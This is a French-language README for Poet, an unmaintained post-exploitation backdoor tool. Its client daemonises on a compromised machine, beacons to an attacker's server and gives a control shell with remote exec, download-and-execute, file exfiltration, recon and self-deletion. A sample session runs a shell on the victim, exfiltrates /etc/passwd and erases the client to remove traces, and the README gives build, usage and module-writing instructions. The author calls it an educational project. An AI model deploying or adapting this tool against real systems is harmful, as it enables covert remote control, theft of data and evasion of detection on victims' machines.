
[non maintenu] Outil de post-exploitation
Un simple outil de post-exploitation.
Le programme client s'exécute sur la machine cible et est configuré avec une adresse IP (le serveur) à laquelle se connecter et une fréquence de connexion. Si le serveur n'est pas en cours d'exécution lorsque le client tente de se connecter, le client se met en veille silencieusement et réessaye à l'intervalle suivant. Si le serveur est en cours d'exécution, l'attaquant obtient un shell de contrôle pour piloter le client et effectuer diverses actions sur la cible, notamment :
Ceci n'est qu'un petit échantillon de ce que Poet peut faire.
Le scénario est le suivant : un attaquant a obtenu un accès à la machine de la victime et a téléchargé et exécuté le client. Le serveur n'est pas encore en cours d'exécution à ce stade, mais ce n'est pas grave, le client attend patiemment. Finalement, l'attaquant est prêt et démarre le serveur, commence par lancer un shell et exécuter uname -a, puis exfiltre /etc/passwd. Ensuite, il quitte et se détache du client, qui continue de s'exécuter sur la cible en attendant la prochaine opportunité de se connecter au serveur. Plus tard, il se reconnecte, autodétruit le client, supprimant toutes les traces de la cible.
Machine de la victime (5.4.3.2) :
$ ./poet-client 1.2.3.4 10 # poet-client se daemonise, donc rien à voir
Attention : après avoir exécuté cette commande, vous devrez soit exécuter
selfdestructdepuis le serveur, soit tuer le processuspoet-clientpour arrêter le client.
Machine de l'attaquant (1.2.3.4) :
$ sudo ./poet-server
_
____ ____ ___ / /_
/ __ \/ __ \/ _ \/ __/
/ /_/ / /_/ / __/ /
/ .___/\____/\___/\__/
/_/
[+] (06/28/15 03:58:42) Abaissement des privilèges vers uid: 501, gid: 20
[+] (06/28/15 03:58:42) Serveur Poet démarré (port 443)
[+] (06/28/15 03:58:50) Connexion de : ('127.0.0.1', 54494) -> VALIDE
[+] (06/28/15 03:58:50) Entrée dans le shell de contrôle
Bienvenue dans posh, le shell Poet !
Exécutez `help' pour obtenir la liste des commandes supportées.
posh > help
Commandes :
chint
dlexec
exec
exfil
exit
help
recon
selfdestruct
shell
posh > shell
posh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
posh > user@server $ ^D
posh > exfil /etc/passwd
posh : exfil écrit dans archive/20150628/exfil/passwd-201506285917.txt
posh > ^D
[+] (06/28/15 03:59:18) Sortie du shell de contrôle
[-] (06/28/15 03:59:18) Serveur Poet arrêté
$ sudo ./poet-server
_
____ ____ ___ / /_
/ __ \/ __ \/ _ \/ __/
/ /_/ / /_/ / __/ /
/ .___/\____/\___/\__/
/_/
[+] (06/28/15 03:59:26) Abaissement des privilèges vers uid: 501, gid: 20
[+] (06/28/15 03:59:26) Serveur Poet démarré (port 443)
[+] (06/28/15 03:59:28) Connexion de : ('127.0.0.1', 54542) -> VALIDE
[+] (06/28/15 03:59:28) Entrée dans le shell de contrôle
Bienvenue dans posh, le shell Poet !
Exécutez `help' pour obtenir la liste des commandes supportées.
posh > selfdestruct
[!] ATTENTION : Vous êtes sur le point de supprimer définitivement le client de la cible.
Vous perdrez immédiatement l'accès à la cible. Continuer ? (o/n) o
[+] (06/28/15 03:59:33) Sortie du shell de contrôle
[-] (06/28/15 03:59:33) Serveur Poet arrêté
Allez sur la page des versions et téléchargez les derniers fichiers poet-client et poet-server disponibles.
Passez ensuite à la section Utilisation ci-dessous.
Sinon, vous pouvez construire Poet vous-même (c'est assez simple, voir ci-dessous).
Assurez-vous que les exécutables python2.7 et zip sont disponibles.
$ git clone https://github.com/mossberg/poet
$ cd poet
$ make
Cela créera un dossier bin/ contenant poet-client et poet-server.
Poet est très simple à utiliser et ne nécessite rien d'autre que la bibliothèque standard Python (2.7). Pour le tester facilement, une invocation typique ressemblerait à :
Terminal 1 :
$ ./poet-client 127.0.0.1 1 --debug --no-selfdestruct
Par défaut, le client Poet se daemonise et se supprime lui-même du disque. Ce comportement est donc supprimé à l'aide des options
--debuget--no-selfdestruct.
Terminal 2 :
$ sudo ./poet-server
Par défaut, le serveur doit être exécuté en tant que root (avec
sudo) car le port par défaut auquel il se lie est 443. Si cela vous gêne, omettez simplementsudoet utilisez l'option-p <PORT>à la fois pour le client et le serveur. Choisissez un numéro de port élevé (> 1024).
Le fichier common/config.py contient divers paramètres de configuration optionnels pour les constructions de Poet.
AUTH : Jeton d'authentification secret partagé entre le client et le serveur pour l'authentification du client. Notez que celui par défaut est tout sauf secret. Pour toute utilisation autre que des tests, il est recommandé de le modifier pour une valeur impossible à deviner. Notez que les paquets pré-construits utilisent le jeton d'authentification public par défaut.ARCHIVE_DIR : Répertoire utilisé par le serveur pour stocker les fichiers (sortie d'exécution, exfiltration, reconnaissance, etc.).SERVER_IP : Adresse IP du serveur.BEACON_INTERVAL : Secondes entre les signaux de présence du client vers le serveur.Les configurations SERVER_IP et BEACON_INTERVAL permettent d'intégrer des informations auparavant requises dans les arguments de ligne de commande dans les exécutables finaux, de sorte que l'exécutable final puisse simplement être exécuté sans arguments. Des valeurs None pour l'un ou l'autre les ramènent au comportement par défaut (argument de ligne de commande requis pour SERVER_IP, argument de ligne de commande optionnel pour BEACON_INTERVAL).
$ ./poet-client -h
usage: poet-client [-h] [-p PORT] [--debug] [--no-daemon] [--no-selfdestruct]
IP [INTERVAL]
positional arguments:
IP Serveur Poet
INTERVAL Intervalle de signal (en secondes). Défaut : 600
optional arguments:
-h, --help affiche ce message d'aide et quitte
-p PORT, --port PORT
--debug affiche les messages de débogage. implique --no-daemon
--no-daemon ne pas se daemoniser
--no-selfdestruct ne pas s'autodétruire
Poet est une application client/serveur. Le client est exécuté sur la cible et envoie des signaux de présence au serveur à intervalles réguliers. Le seul argument requis est l'adresse IP où le serveur se trouve ou se trouvera. Il peut être suivi optionnellement de l'intervalle de temps en secondes pour la fréquence des signaux, qui par défaut est de 10 minutes. Le port sur lequel le client envoie ses signaux peut être spécifié avec l'option -p. Tous les autres drapeaux ne seraient pas utilisés dans une utilisation « réelle » et existent principalement pour le débogage.
$ ./poet-server -h
usage: poet-server [-h] [-p PORT] [-v]
optional arguments:
-h, --help affiche ce message d'aide et quitte
-p PORT, --port PORT
-v, --version affiche le numéro de version de Poet et quitte
Le serveur est exécuté sur la propre machine de l'utilisateur et écoute les signaux du client. Par défaut, il écoute sur un port privilégié (443) et doit être exécuté avec privilèges (qui sont rapidement abandonnés après la liaison). L'option -p permet de contourner cela en sélectionnant un port non privilégié pour écouter (>1024).
Poet est hautement extensible grâce à son système de modules. En fait, presque toutes les commandes disponibles dans le shell posh sont implémentées comme des modules. Ils peuvent être consultés dans le dossier common/modules/. Le fichier common/modules/template.py sert d'exemple minimal de module, à utiliser comme point de départ. Pour ajouter un module Poet, placez-le simplement dans le dossier common/modules/ et reconstruisez Poet avec make.
Voici un exemple simple de module montrant une communication basique entre le client et le serveur. Le module enregistre une commande posh, envoie une chaîne, le client l'inverse et la renvoie, et le serveur l'affiche.
# Remarque : ce module ne vérifie pas si un argv[1] a été fourni
import module
@module.server_handler('reverse')
def server(server, argv):
print 'Envoi : {}'.format(argv[1])
# argv ici est ['reverse', ...]
response = server.conn.exchange(' '.join(argv))
print 'Reçu : {}'.format(response)
@module.client_handler('reverse')
def client(client, inp):
# inp ici est 'reverse ...'
client.s.send(inp.split()[1][::-1])
Le module commence par
import module
Ceci est requis, et est nécessaire pour s'enregistrer dans le système de modules.
La section suivante est le composant côté serveur du module.
@module.server_handler('reverse')
def server(server, argv):
print 'Envoi : {}'.format(argv[1])
# argv ici est ['reverse', ...]
response = server.conn.exchange(' '.join(argv))
print 'Reçu : {}'.format(response)
Le décorateur @module.server_handler() est utilisé pour enregistrer une commande posh en passant le nom de la commande comme paramètre du décorateur et en définissant une fonction de gestion à exécuter lorsque la commande est lancée. La fonction de gestion doit accepter deux paramètres. L'un est l'instance du PoetServer qui a appelé le module, l'autre est la chaîne de commande saisie, représentée sous forme de liste d'arguments. L'instance du serveur existe pour que le module puisse utiliser des fonctions d'aide pour communiquer avec le client, écrire des fichiers dans le répertoire d'archive, etc. Le module utilise server.conn.exchange() pour envoyer la ligne de commande saisie sous forme de chaîne au client et obtenir la réponse comme valeur de retour.
Le composant côté client du module vient ensuite.
@module.client_handler('reverse')
def client(client, inp):
# inp ici est 'reverse ...'
client.s.send(inp.split()[1][::-1])
Le décorateur @module.client_handler() est utilisé pour enregistrer une tâche à laquelle le client doit réagir et qu'il doit traiter. Comme le client et le serveur communiquent en s'échangeant des chaînes, la première partie de la chaîne est le mot-clé d'une tâche particulière. Le module enregistre une fonction de gestion client à exécuter lorsqu'un message arrive du serveur commençant par 'reverse'. Comme pour le gestionnaire serveur, le gestionnaire client doit accepter des paramètres pour l'instance du PoetClient qui l'a appelé et la chaîne d'entrée passée par le serveur. Le client utilise ensuite la fonction client.s.send() pour renvoyer des données au serveur, dans ce cas, le premier argument, inversé.
En action, cela ressemble à
posh > reverse poet
Envoi : poet
Reçu : teop
Préoccupations documentées :
Je construis Poet uniquement pour ma propre éducation et expérience d'apprentissage. Le code est librement disponible car je pense qu'il pourrait être utile à d'autres personnes intéressées par l'apprentissage de ce genre de choses. Utilisez-le de manière responsable.